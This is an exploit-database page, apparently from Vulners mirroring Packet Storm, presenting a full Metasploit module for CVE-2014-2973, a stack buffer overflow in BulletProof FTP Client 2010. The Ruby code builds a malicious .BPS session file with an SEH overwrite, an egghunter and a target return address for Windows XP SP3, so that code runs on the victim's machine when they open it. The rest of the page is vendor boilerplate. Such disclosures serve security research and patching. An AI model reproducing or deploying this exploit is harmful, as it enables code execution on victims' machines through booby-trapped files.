Lucene search
+L

BulletProof FTP Client BPS Buffer Overflow

🗓️ 06 Jan 2015 00:00:00Reported by Gabor SeljanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

BulletProof FTP Client BPS Buffer Overflow vulnerability in 2010 version with remote code execution

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
BulletProof FTP Client 2010, caused by an overly long hostname.  
By persuading the victim to open a specially-crafted .BPS file, a  
remote attacker could execute arbitrary code on the system or cause  
the application to crash. This module has been tested successfully on  
Windows XP SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gabor Seljan'  
],  
'References' =>  
[  
[ 'EDB', '34162' ],  
[ 'EDB', '34540' ],  
[ 'EDB', '35449' ],  
[ 'OSVDB', '109547' ],  
[ 'CVE', '2014-2973' ],  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x1a",  
'Space' => 2000  
},  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Offset' => 89,  
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 24 2014',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])  
],  
self.class)  
end  
  
def exploit  
eggoptions = {  
:checksum => true,  
:eggtag => 'w00t'  
}  
  
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"  
sploit << rand_text_alpha(target['Offset'])  
sploit << generate_seh_record(target.ret)  
sploit << hunter + "\r\n" # FTP Server HOST / IP  
sploit << rand_text_numeric(5) + "\r\n" # Port number  
sploit << egg + "\r\n" # Login name  
sploit << rand_text_alpha(8) + "\r\n" # Login password  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(sploit)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jan 2015 00:00Current
0.3Low risk
Vulners AI Score0.3
31